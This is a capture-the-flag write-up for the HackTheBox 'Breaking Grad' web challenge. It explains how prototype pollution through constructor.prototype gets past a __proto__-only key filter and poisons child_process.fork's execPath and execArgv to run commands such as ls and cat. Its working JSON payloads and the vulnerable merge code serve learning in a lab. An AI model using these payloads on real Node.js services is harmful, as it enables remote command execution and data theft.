(Web)HTB - Breaking Grad
A prototype pollution based challenge
Usefull links to check before doing the challenge:
Code Inspection
routes/index.js
const randomize = require('randomatic');
const path = require('path');
const express = require('express');
const router = express.Router();
const StudentHelper = require('../helpers/StudentHelper');
const ObjectHelper = require('../helpers/ObjectHelper');
const DebugHelper = require('../helpers/DebugHelper');
...
router.get('/debug/:action', (req, res) => {
return DebugHelper.execute(res, req.params.action);
});
router.post('/api/calculate', (req, res) => {
let student = ObjectHelper.clone(req.body);
...
We observe that a POST to /api/calulate uses ObjectHelper clone method with its body Lets inspect it:
module.exports = {
isObject(obj) {
return typeof obj === 'function' || typeof obj === 'object';
},
isValidKey(key) {
return key !== '__proto__';
},
merge(target, source) {
for (let key in source) {
if (this.isValidKey(key)){
if (this.isObject(target[key]) && this.isObject(source[key])) {
this.merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
return target;
},
clone(target) {
return this.merge({}, target);
}
}
__proto__
is Typicall of a prototype pollution.
Clone is calling merge function with the target as source, which, we remember in this case is the body of the POST we did earlier.
After that, the merge function is checking that the source does not contain __proto__
with IsValidKey, then, if both parameters are objects, it merges with javascript function merge both, that literally: it recursively merges properties of the source object into the target object So, if in the body I can append a prototype pollution in the JSON like the following:
{ "__proto__": { "evilProperty": "payload" } }
We would succeed. However one more thing is needed, because word __proto__
is banned, but prototype pollution can also be done like
{"constructor":{ "prototype": { "evilProperty": "payload" } }}
Will translate to: source.constructor.prototype.target_property = ‘value’;
Afterwards it is sent to challenge/helpers/DebugHelper.js
const { execSync, fork } = require('child_process');
module.exports = {
execute(res, command) {
res.type('txt');
if (command == 'version') {
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
proc.stderr.pipe(res);
proc.stdout.pipe(res);
return;
}
if (command == 'ram') {
return res.send(execSync('free -m').toString());
}
return res.send('invalid command');
}
}
In which if :action equals version (/debug/:action' = /debug/version) An object literally is passed into the fork function. Reading the javascript docs tells us that the fork function accepts an execPath and execArgv arguments.
execPath Executable used to create the child process. execArgv List of string arguments passed to the executable. Default: process.execArgv.|
So Our payload would be:
{"constructor": {"prototype": { "execPath": "cmd" , "execArgv": [ "arg1", "arg2"]}}}
POC
ls -la POC
{"constructor": {"prototype": { "execPath":"ls","execArgv":["-la","."] }}}

We do a GET request to /debug/version

We got the flag there, just change the payload
{"constructor": {"prototype": { "execPath":"cat","execArgv":["flag_e1T6f","."] }}}

That´s all this week's write up, hope you've enjoyed it. 👏
You can use my social media to leave me your thoughts about the write ups 👍
Twitter: https://twitter.com/KrakenEU_
Linkedin: https://www.linkedin.com/in/i%C3%B1aki-tornos-572580177/
Github: https://github.com/KrakenEU/
Last updated